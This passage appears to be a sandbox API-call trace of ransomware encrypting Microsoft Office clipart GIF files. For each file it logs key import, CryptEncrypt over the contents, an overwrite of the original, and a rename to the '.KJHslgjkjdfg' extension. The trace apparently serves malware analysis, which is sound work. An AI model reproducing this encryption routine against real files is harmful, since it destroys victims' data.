lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x14ff, lpOverlapped=0x0) returned 1 [0181.363] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1500, dwBufLen=0x1500 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1500) returned 1 [0181.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.363] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1500, lpOverlapped=0x0) returned 1 [0181.363] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.363] SetEndOfFile (hFile=0x130) returned 1 [0181.366] GetProcessHeap () returned 0x990000 [0181.366] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.366] GetProcessHeap () returned 0x990000 [0181.366] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.366] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.kjhslgjkjdfg")) returned 1 [0181.370] CloseHandle (hObject=0x130) returned 1 [0181.370] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0181.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.370] GetProcessHeap () returned 0x990000 [0181.370] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.371] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.371] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.371] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.371] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.371] GetProcessHeap () returned 0x990000 [0181.371] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.371] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.371] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.371] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.373] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.373] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.373] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.374] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.374] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.374] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.374] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.374] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.374] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2420, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2420, lpOverlapped=0x0) returned 1 [0181.375] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2420, dwBufLen=0x2420 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2420) returned 1 [0181.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.375] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2420, lpOverlapped=0x0) returned 1 [0181.375] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x24f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.375] SetEndOfFile (hFile=0x130) returned 1 [0181.378] GetProcessHeap () returned 0x990000 [0181.378] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.378] GetProcessHeap () returned 0x990000 [0181.378] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.kjhslgjkjdfg")) returned 1 [0181.384] CloseHandle (hObject=0x130) returned 1 [0181.384] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0181.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.385] GetProcessHeap () returned 0x990000 [0181.385] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.385] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.385] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.387] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.387] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.387] GetProcessHeap () returned 0x990000 [0181.387] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.387] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.387] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.387] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.388] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.388] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.388] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.388] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.388] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.388] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.388] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1398, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1398, lpOverlapped=0x0) returned 1 [0181.389] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13a0, dwBufLen=0x13a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13a0) returned 1 [0181.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.389] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x13a0, lpOverlapped=0x0) returned 1 [0181.389] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.389] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.389] SetEndOfFile (hFile=0x130) returned 1 [0181.391] GetProcessHeap () returned 0x990000 [0181.392] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.392] GetProcessHeap () returned 0x990000 [0181.392] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.392] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.kjhslgjkjdfg")) returned 1 [0181.394] CloseHandle (hObject=0x130) returned 1 [0181.394] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0181.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.396] GetProcessHeap () returned 0x990000 [0181.396] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.396] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.396] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0181.398] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.398] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.398] GetProcessHeap () returned 0x990000 [0181.398] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.398] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.398] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.398] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.398] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.399] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.399] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.399] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.399] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.399] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1126, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1126, lpOverlapped=0x0) returned 1 [0181.400] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1130, dwBufLen=0x1130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1130) returned 1 [0181.400] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.400] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1130, lpOverlapped=0x0) returned 1 [0181.400] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.400] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.400] SetEndOfFile (hFile=0x130) returned 1 [0181.403] GetProcessHeap () returned 0x990000 [0181.403] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.403] GetProcessHeap () returned 0x990000 [0181.403] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.kjhslgjkjdfg")) returned 1 [0181.405] CloseHandle (hObject=0x130) returned 1 [0181.405] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0181.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.406] GetProcessHeap () returned 0x990000 [0181.406] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.406] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.406] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.406] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0181.408] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.408] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.408] GetProcessHeap () returned 0x990000 [0181.408] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.408] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.408] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.409] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.409] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.409] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.409] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.413] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.413] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.413] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.413] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf7e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf7e, lpOverlapped=0x0) returned 1 [0181.413] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf80, dwBufLen=0xf80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf80) returned 1 [0181.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.413] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf80, lpOverlapped=0x0) returned 1 [0181.413] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.413] SetEndOfFile (hFile=0x130) returned 1 [0181.416] GetProcessHeap () returned 0x990000 [0181.416] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.416] GetProcessHeap () returned 0x990000 [0181.416] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.kjhslgjkjdfg")) returned 1 [0181.420] CloseHandle (hObject=0x130) returned 1 [0181.420] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | 